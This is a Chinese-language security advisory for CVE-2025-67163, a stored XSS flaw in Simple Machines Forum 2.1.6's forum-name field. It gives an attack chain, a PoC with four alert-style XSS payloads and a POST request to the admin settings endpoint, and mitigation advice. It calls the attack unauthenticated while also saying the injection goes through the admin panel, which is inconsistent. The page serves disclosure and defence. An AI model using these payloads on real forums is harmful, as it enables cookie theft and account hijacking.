IPBUF安全漏洞报告
English
CVE-2025-67163 CVSS 6.1 中危

CVE-2025-67163 Simple Machines Forum存储型XSS漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-67163
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Simple Machines Forum v2.1.6

相关标签

存储型XSSSimple Machines ForumSMFCVE-2025-67163Web安全跨站脚本中危漏洞论坛软件

漏洞概述

CVE-2025-67163是Simple Machines Forum(SMF)2.1.6版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞允许未经认证的攻击者通过在论坛名称(Forum Name)参数中注入恶意JavaScript代码或HTML标签,当其他用户访问受影响的页面时,恶意代码将在受害者浏览器中执行。攻击者可利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或修改页面内容。由于该漏洞为存储型,恶意代码会永久保存在服务器端,影响所有访问该页面的用户。CVSS 3.1评分6.1,属于中危级别,攻击复杂度低,无需特殊权限,但需要用户交互才能触发。

技术细节

该漏洞源于Simple Machines Forum在处理论坛名称参数时未对用户输入进行充分的HTML转义或过滤。攻击者可以构造包含<script>标签、JavaScript事件处理器(如onerror、onload)或SVG标签的恶意Payload,并将其作为论坛名称保存到数据库。当其他用户访问相关页面(如统计页面Stats.template.php)时,服务器从数据库读取未经过滤的论坛名称并直接输出到HTML响应中,导致恶意脚本在用户浏览器中执行。漏洞代码位置在Themes/default/Stats.template.php#L26,该模板文件在渲染页面时直接输出论坛名称而未进行安全过滤。攻击者可通过管理后台或特定API接口设置论坛名称,触发存储型XSS攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的Simple Machines Forum版本,确认版本为v2.1.6且存在漏洞
STEP 2
步骤2: 构造恶意Payload
攻击者构造包含恶意JavaScript代码的XSS Payload,如<img src=x onerror=alert(document.cookie)>
STEP 3
步骤3: 注入Payload
攻击者通过管理后台或相关API接口将恶意Payload设置为论坛名称(Forum Name)
STEP 4
步骤4: Payload存储
恶意代码被保存到数据库中,由于是存储型XSS,Payload将永久存在
STEP 5
步骤5: 用户触发
普通用户访问论坛统计页面(Stats.template.php)时,服务器从数据库读取论坛名称并输出到页面
STEP 6
步骤6: 脚本执行
用户浏览器解析HTML时,未经过滤的恶意脚本被执行,攻击者成功窃取Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-67163 Stored XSS PoC for Simple Machines Forum v2.1.6 // Payload: Inject malicious script in Forum Name parameter // Method 1: Using script tag const xssPayload1 = '<script>alert(document.cookie)</script>'; // Method 2: Using img onerror event const xssPayload2 = '<img src=x onerror=alert(document.domain)>'; // Method 3: Using SVG element const xssPayload3 = '<svg onload=alert(document.cookie)>'; // Method 4: Using body onload event const xssPayload4 = '<body onload=alert(String.fromCharCode(88,83,83))>'; // Exploitation steps: // 1. Set Forum Name to one of the payloads above via admin panel or API // 2. Wait for any user to visit the Stats page // 3. The script will execute in the victim's browser context // Example POST request to set Forum Name: const exploitRequest = { method: 'POST', url: '/forum/index.php?action=admin;area=general;sa=forum', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'forum_name=' + encodeURIComponent(xssPayload2) };

影响范围

Simple Machines Forum v2.1.6
SMF < 2.1.6 (potentially affected)

防御指南

临时缓解措施
在官方发布修复版本之前,可采取以下临时缓解措施:1)限制管理后台访问权限,仅允许可信IP访问;2)启用WAF(Web应用防火墙)规则拦截包含XSS特征的请求;3)对论坛名称等关键字段实施输入白名单验证,仅允许字母、数字和常见标点符号;4)使用HTTPOnly和Secure标志保护Cookie;5)监控和审查管理操作日志,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表